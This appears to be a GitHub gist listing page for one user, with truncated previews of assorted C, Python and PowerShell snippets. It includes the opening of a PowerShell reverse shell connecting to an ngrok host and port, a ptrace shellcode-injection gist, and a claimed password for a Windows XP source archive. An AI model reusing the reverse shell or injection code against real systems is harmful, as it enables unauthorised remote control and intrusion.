Skip to content

Instantly share code, notes, and snippets.

@w1redch4d
w1redch4d / is_number.c
Last active May 16, 2025 02:50
To All NodeJS Devs downloading is_even and is_odd from npm this is how fuckin simple it is
#include <stdio.h>
// actual logic
char* is_number(int num) {
char* type[2] = {"Even", "Odd"};
return type[num % 2];
}
// how to use
int main() {
import requests
import itertools
import json
import sys
import distro
def main():
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
@w1redch4d
w1redch4d / enable.ps1
Created September 16, 2024 16:17
Enable windefend
Param([Parameter(Mandatory=$false)][switch]$shouldAssumeToBeElevated, [Parameter(Mandatory=$false)] [String]$workingDirOverride)
# If parameter is not set, we are propably in non-admin execution. We set it to the current working directory so that
# the working directory of the elevated execution of this script is the current working directory
if(-not($PSBoundParameters.ContainsKey('workingDirOverride')))
{
$workingDirOverride = (Get-Location).Path
}
function Test-Admin {
typedef struct _PS_ATTRIBUTE
{
ULONG_PTR Attribute; // PROC_THREAD_ATTRIBUTE_XXX | PROC_THREAD_ATTRIBUTE_XXX modifiers, see ProcThreadAttributeValue macro and Windows Internals 6 (372)
SIZE_T Size; // Size of Value or *ValuePtr
union
{
ULONG_PTR Value; // Reserve 8 bytes for data (such as a Handle or a data pointer)
PVOID ValuePtr; // data pointer
};
PSIZE_T ReturnLength; // Either 0 or specifies size of data returned to caller via "ValuePtr"
#
# Windows PowerShell script for AD DS Deployment
#
Import-Module ADDSDeployment
Install-ADDSForest `
-CreateDnsDelegation:$false `
-DatabasePath "C:\Windows\NTDS" `
-DomainMode "WinThreshold" `
-DomainName "xyz.com" `
@w1redch4d
w1redch4d / ida_layout.json
Created July 12, 2024 17:26
MY IDA layout
{
"layout": {
"main": {
"type": "vsplit",
"children": [
{
"type": "hsplit",
"children": [
{
"type": "vsplit",
@w1redch4d
w1redch4d / winxp-src.rar
Created May 7, 2024 13:46
password for winxp-src.rar
$RAR3$*0*c9292efa2e495f90*044d2e5042869449c10f890c1cced438 ---> internaldev
@w1redch4d
w1redch4d / rsa.py
Created April 7, 2023 18:07
Idk what tf i was doing at 4am
# import random
import math
from z3 import *
prime = 7919*7583
def isPrime(x):
y, z = Ints("y z")
return And(x > 1, Not(Exists([y, z], And(y < x, z < x, y > 1, z > 1, x == y*z))))
@w1redch4d
w1redch4d / ptrace_inject.c
Last active February 28, 2023 18:54
PTRACE inject shellcode to a child process by loading your desired elf without modifying /proc/sys/kernel/yama/ptrace_scope
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
@w1redch4d
w1redch4d / mini-reverse.ps1
Last active September 21, 2022 19:04 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('0.tcp.in.ngrok.io', 17608);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;